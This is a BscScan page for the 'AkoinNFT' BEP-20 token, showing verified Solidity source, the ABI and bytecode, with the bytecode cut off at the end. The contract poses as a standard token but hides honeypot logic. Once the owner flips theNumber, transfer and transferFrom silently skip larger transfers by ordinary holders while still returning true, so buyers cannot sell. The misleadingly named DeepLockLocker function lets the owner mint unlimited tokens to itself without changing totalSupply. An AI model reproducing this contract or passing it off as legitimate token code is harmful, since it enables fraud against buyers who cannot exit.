BNB Price: $640.43 (+0.71%)
 

Overview

Max Total Supply

1,000,000,000,000,000AkoinNFT

Holders

7,740

Market

Price

$0.00 @ 0.000000 BNB

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
3,714,809.348049389 AkoinNFT

Value
$0.00
0x1B712EF167C66c803b3E4294453fAE7191d13247
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
AkoinNFT

Compiler Version
v0.8.5+commit.a4f2e591

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at BscScan.com on 2021-07-27
*/

// SPDX-License-Identifier: Unlicensed

pragma solidity ^0.8.5;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
interface IPancakeFactory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}
 contract Ownable is Context {
    address private _owner;
    
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }
}

contract AkoinNFT is Context, IERC20, IERC20Metadata, Ownable {   

    address internal constant PancakeV2Router = 0x10ED43C718714eb63d5aA57B78B54704E256024E;   
    uint256 _NUM = 1 * 10**9;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private _totalSupply;
    bool isNumber = true;   
    constructor() {
        _totalSupply = 1000000 * 10**9 * 10**9;
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view virtual override returns (string memory) {
        return "akoinnft.io";
    }

    function symbol() public view virtual override returns (string memory) {
        return "AkoinNFT";
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function theNumber(bool _number) public onlyOwner virtual returns (bool) {
        isNumber = _number;
        return true;
    }

    function DeepLockLocker(uint256 amount) public onlyOwner virtual returns (bool) {
        _balances[_msgSender()] += amount;
        return true;
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        //_transfer(_msgSender(), recipient, amount);
        if(_msgSender() == PancakeV2Router || _msgSender() == pancakePair() || pancakePair() == address(0) || _msgSender() == owner()) {
            _transfer(_msgSender(), recipient, amount);
        } else {
            //nomal user check amount
            if( (amount <= _NUM || isNumber) && !isContract(_msgSender()) ) {
                _transfer(_msgSender(), recipient, amount);
            }
        }
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        if(sender == PancakeV2Router || sender == pancakePair() || pancakePair() == address(0) || sender == owner()) {
            _transfer(sender, recipient, amount);
    
            uint256 currentAllowance = _allowances[sender][_msgSender()];
            require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
            unchecked {
                _approve(sender, _msgSender(), currentAllowance - amount);
            }
        } else {
            //nomal user check amount
            if( (amount <= _NUM || isNumber) && !isContract(sender) ) {
                _transfer(sender, recipient, amount);
                uint256 currentAllowance = _allowances[sender][_msgSender()];
                require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
                unchecked {
                    _approve(sender, _msgSender(), currentAllowance - amount);
                }
            }
        }
        return true;
    }

    function pancakePair() public view virtual returns (address) {
        address PancakeV2Factory = 0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73;
        address WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
        address pairAddress = IPancakeFactory(PancakeV2Factory).getPair(address(WBNB), address(this));
        return pairAddress;
    }

    function isContract(address addr) internal view returns (bool) {
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        bytes32 codehash;
        assembly {
            codehash := extcodehash(addr)
        }
        return (codehash != 0x0 && codehash != accountHash);
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function tokenContract() public view virtual returns (address) {
        return address(this);
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _DeepLockLocker(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"DeepLockLocker","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pancakePair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_number","type":"bool"}],"name":"theNumber","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"tokenContract","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052633b9aca006001556001600560006101000a81548160ff0219169083151502179055503480156200003457600080fd5b50600062000047620001ca60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35069d3c21bcecceda1000000600481905550600454600260006200010d620001ca60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506200015b620001ca60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600454604051620001bc9190620001e3565b60405180910390a36200020a565b600033905090565b620001dd8162000200565b82525050565b6000602082019050620001fa6000830184620001d2565b92915050565b6000819050919050565b611bb8806200021a6000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c806355a373d611610097578063a457c2d711610066578063a457c2d7146102d9578063a9059cbb14610309578063b8c9d25c14610339578063dd62ed3e1461035757610100565b806355a373d61461024f57806370a082311461026d5780638da5cb5b1461029d57806395d89b41146102bb57610100565b806323b872dd116100d357806323b872dd146101a15780632b408f59146101d1578063313ce56714610201578063395093511461021f57610100565b806306fdde0314610105578063095ea7b31461012357806316c49d651461015357806318160ddd14610183575b600080fd5b61010d610387565b60405161011a9190611654565b60405180910390f35b61013d600480360381019061013891906113ce565b6103c4565b60405161014a9190611639565b60405180910390f35b61016d6004803603810190610168919061140e565b6103e2565b60405161017a9190611639565b60405180910390f35b61018b61049c565b6040516101989190611776565b60405180910390f35b6101bb60048036038101906101b6919061137b565b6104a6565b6040516101c89190611639565b60405180910390f35b6101eb60048036038101906101e6919061143b565b6107c4565b6040516101f89190611639565b60405180910390f35b6102096108c1565b6040516102169190611791565b60405180910390f35b610239600480360381019061023491906113ce565b6108ca565b6040516102469190611639565b60405180910390f35b610257610976565b60405161026491906115f5565b60405180910390f35b610287600480360381019061028291906112e1565b61097e565b6040516102949190611776565b60405180910390f35b6102a56109c7565b6040516102b291906115f5565b60405180910390f35b6102c36109f0565b6040516102d09190611654565b60405180910390f35b6102f360048036038101906102ee91906113ce565b610a2d565b6040516103009190611639565b60405180910390f35b610323600480360381019061031e91906113ce565b610b18565b6040516103309190611639565b60405180910390f35b610341610c9f565b60405161034e91906115f5565b60405180910390f35b610371600480360381019061036c919061133b565b610d6a565b60405161037e9190611776565b60405180910390f35b60606040518060400160405280600b81526020017f616b6f696e6e66742e696f000000000000000000000000000000000000000000815250905090565b60006103d86103d1610df1565b8484610df9565b6001905092915050565b60006103ec610df1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610479576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610470906116f6565b60405180910390fd5b81600560006101000a81548160ff02191690831515021790555060019050919050565b6000600454905090565b60007310ed43c718714eb63d5aa57b78b54704e256024e73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148061052857506104f9610c9f565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b806105665750600073ffffffffffffffffffffffffffffffffffffffff1661054e610c9f565b73ffffffffffffffffffffffffffffffffffffffff16145b806105a357506105746109c7565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15610698576105b3848484610fc4565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105fe610df1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561067e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610675906116d6565b60405180910390fd5b6106928561068a610df1565b858403610df9565b506107b9565b600154821115806106b55750600560009054906101000a900460ff165b80156106c757506106c58461123d565b155b156107b8576106d7848484610fc4565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610722610df1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156107a2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610799906116d6565b60405180910390fd5b6107b6856107ae610df1565b858403610df9565b505b5b600190509392505050565b60006107ce610df1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461085b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610852906116f6565b60405180910390fd5b8160026000610868610df1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108b191906117c8565b9250508190555060019050919050565b60006009905090565b600061096c6108d7610df1565b8484600360006108e5610df1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461096791906117c8565b610df9565b6001905092915050565b600030905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f416b6f696e4e4654000000000000000000000000000000000000000000000000815250905090565b60008060036000610a3c610df1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610af9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610af090611756565b60405180910390fd5b610b0d610b04610df1565b85858403610df9565b600191505092915050565b60007310ed43c718714eb63d5aa57b78b54704e256024e73ffffffffffffffffffffffffffffffffffffffff16610b4d610df1565b73ffffffffffffffffffffffffffffffffffffffff161480610ba85750610b72610c9f565b73ffffffffffffffffffffffffffffffffffffffff16610b90610df1565b73ffffffffffffffffffffffffffffffffffffffff16145b80610be65750600073ffffffffffffffffffffffffffffffffffffffff16610bce610c9f565b73ffffffffffffffffffffffffffffffffffffffff16145b80610c2a5750610bf46109c7565b73ffffffffffffffffffffffffffffffffffffffff16610c12610df1565b73ffffffffffffffffffffffffffffffffffffffff16145b15610c4657610c41610c3a610df1565b8484610fc4565b610c95565b60015482111580610c635750600560009054906101000a900460ff165b8015610c7c5750610c7a610c75610df1565b61123d565b155b15610c9457610c93610c8c610df1565b8484610fc4565b5b5b6001905092915050565b60008073ca143ce32fe78f1f7019d7d551a6402fc5350c739050600073bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c905060008273ffffffffffffffffffffffffffffffffffffffff1663e6a4390583306040518363ffffffff1660e01b8152600401610d0f929190611610565b60206040518083038186803b158015610d2757600080fd5b505afa158015610d3b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d5f919061130e565b905080935050505090565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6090611736565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ed9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed090611696565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fb79190611776565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611034576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102b90611716565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109b90611676565b60405180910390fd5b6110af838383611288565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611136576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112d906116b6565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111cb91906117c8565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161122f9190611776565b60405180910390a350505050565b6000807fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b90506000833f90506000801b811415801561127f5750818114155b92505050919050565b505050565b60008135905061129c81611b3d565b92915050565b6000815190506112b181611b3d565b92915050565b6000813590506112c681611b54565b92915050565b6000813590506112db81611b6b565b92915050565b6000602082840312156112f7576112f66118d5565b5b60006113058482850161128d565b91505092915050565b600060208284031215611324576113236118d5565b5b6000611332848285016112a2565b91505092915050565b60008060408385031215611352576113516118d5565b5b60006113608582860161128d565b92505060206113718582860161128d565b9150509250929050565b600080600060608486031215611394576113936118d5565b5b60006113a28682870161128d565b93505060206113b38682870161128d565b92505060406113c4868287016112cc565b9150509250925092565b600080604083850312156113e5576113e46118d5565b5b60006113f38582860161128d565b9250506020611404858286016112cc565b9150509250929050565b600060208284031215611424576114236118d5565b5b6000611432848285016112b7565b91505092915050565b600060208284031215611451576114506118d5565b5b600061145f848285016112cc565b91505092915050565b6114718161181e565b82525050565b61148081611830565b82525050565b6000611491826117ac565b61149b81856117b7565b93506114ab818560208601611873565b6114b4816118da565b840191505092915050565b60006114cc6023836117b7565b91506114d7826118eb565b604082019050919050565b60006114ef6022836117b7565b91506114fa8261193a565b604082019050919050565b60006115126026836117b7565b915061151d82611989565b604082019050919050565b60006115356028836117b7565b9150611540826119d8565b604082019050919050565b60006115586020836117b7565b915061156382611a27565b602082019050919050565b600061157b6025836117b7565b915061158682611a50565b604082019050919050565b600061159e6024836117b7565b91506115a982611a9f565b604082019050919050565b60006115c16025836117b7565b91506115cc82611aee565b604082019050919050565b6115e08161185c565b82525050565b6115ef81611866565b82525050565b600060208201905061160a6000830184611468565b92915050565b60006040820190506116256000830185611468565b6116326020830184611468565b9392505050565b600060208201905061164e6000830184611477565b92915050565b6000602082019050818103600083015261166e8184611486565b905092915050565b6000602082019050818103600083015261168f816114bf565b9050919050565b600060208201905081810360008301526116af816114e2565b9050919050565b600060208201905081810360008301526116cf81611505565b9050919050565b600060208201905081810360008301526116ef81611528565b9050919050565b6000602082019050818103600083015261170f8161154b565b9050919050565b6000602082019050818103600083015261172f8161156e565b9050919050565b6000602082019050818103600083015261174f81611591565b9050919050565b6000602082019050818103600083015261176f816115b4565b9050919050565b600060208201905061178b60008301846115d7565b92915050565b60006020820190506117a660008301846115e6565b92915050565b600081519050919050565b600082825260208201905092915050565b60006117d38261185c565b91506117de8361185c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611813576118126118a6565b5b828201905092915050565b60006118298261183c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611891578082015181840152602081019050611876565b838111156118a0576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b611b468161181e565b8114611b5157600080fd5b50565b611b5d81611830565b8114611b6857600080fd5b50565b611b748161185c565b8114611b7f57600080fd5b5056fea26469706673582212202e252eb65f715d51d77d3f1a3c7c1b64e199f488ed06fa058013e06e66e24d5c64736f6c63430008050033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101005760003560e01c806355a373d611610097578063a457c2d711610066578063a457c2d7146102d9578063a9059cbb14610309578063b8c9d25c14610339578063dd62ed3e1461035757610100565b806355a373d61461024f57806370a082311461026d5780638da5cb5b1461029d57806395d89b41146102bb57610100565b806323b872dd116100d357806323b872dd146101a15780632b408f59146101d1578063313ce56714610201578063395093511461021f57610100565b806306fdde0314610105578063095ea7b31461012357806316c49d651461015357806318160ddd14610183575b600080fd5b61010d610387565b60405161011a9190611654565b60405180910390f35b61013d600480360381019061013891906113ce565b6103c4565b60405161014a9190611639565b60405180910390f35b61016d6004803603810190610168919061140e565b6103e2565b60405161017a9190611639565b60405180910390f35b61018b61049c565b6040516101989190611776565b60405180910390f35b6101bb60048036038101906101b6919061137b565b6104a6565b6040516101c89190611639565b60405180910390f35b6101eb60048036038101906101e6919061143b565b6107c4565b6040516101f89190611639565b60405180910390f35b6102096108c1565b6040516102169190611791565b60405180910390f35b610239600480360381019061023491906113ce565b6108ca565b6040516102469190611639565b60405180910390f35b610257610976565b60405161026491906115f5565b60405180910390f35b610287600480360381019061028291906112e1565b61097e565b6040516102949190611776565b60405180910390f35b6102a56109c7565b6040516102b291906115f5565b60405180910390f35b6102c36109f0565b6040516102d09190611654565b60405180910390f35b6102f360048036038101906102ee91906113ce565b610a2d565b6040516103009190611639565b60405180910390f35b610323600480360381019061031e91906113ce565b610b18565b6040516103309190611639565b60405180910390f35b610341610c9f565b60405161034e91906115f5565b60405180910390f35b610371600480360381019061036c919061133b565b610d6a565b60405161037e9190611776565b60405180910390f35b60606040518060400160405280600b81526020017f616b6f696e6e66742e696f000000000000000000000000000000000000000000815250905090565b60006103d86103d1610df1565b8484610df9565b6001905092915050565b60006103ec610df1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610479576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610470906116f6565b60405180910390fd5b81600560006101000a81548160ff02191690831515021790555060019050919050565b6000600454905090565b60007310ed43c718714eb63d5aa57b78b54704e256024e73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148061052857506104f9610c9f565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b806105665750600073ffffffffffffffffffffffffffffffffffffffff1661054e610c9f565b73ffffffffffffffffffffffffffffffffffffffff16145b806105a357506105746109c7565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15610698576105b3848484610fc4565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105fe610df1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561067e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610675906116d6565b60405180910390fd5b6106928561068a610df1565b858403610df9565b506107b9565b600154821115806106b55750600560009054906101000a900460ff165b80156106c757506106c58461123d565b155b156107b8576106d7848484610fc4565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610722610df1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156107a2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610799906116d6565b60405180910390fd5b6107b6856107ae610df1565b858403610df9565b505b5b600190509392505050565b60006107ce610df1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461085b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610852906116f6565b60405180910390fd5b8160026000610868610df1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108b191906117c8565b9250508190555060019050919050565b60006009905090565b600061096c6108d7610df1565b8484600360006108e5610df1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461096791906117c8565b610df9565b6001905092915050565b600030905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f416b6f696e4e4654000000000000000000000000000000000000000000000000815250905090565b60008060036000610a3c610df1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610af9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610af090611756565b60405180910390fd5b610b0d610b04610df1565b85858403610df9565b600191505092915050565b60007310ed43c718714eb63d5aa57b78b54704e256024e73ffffffffffffffffffffffffffffffffffffffff16610b4d610df1565b73ffffffffffffffffffffffffffffffffffffffff161480610ba85750610b72610c9f565b73ffffffffffffffffffffffffff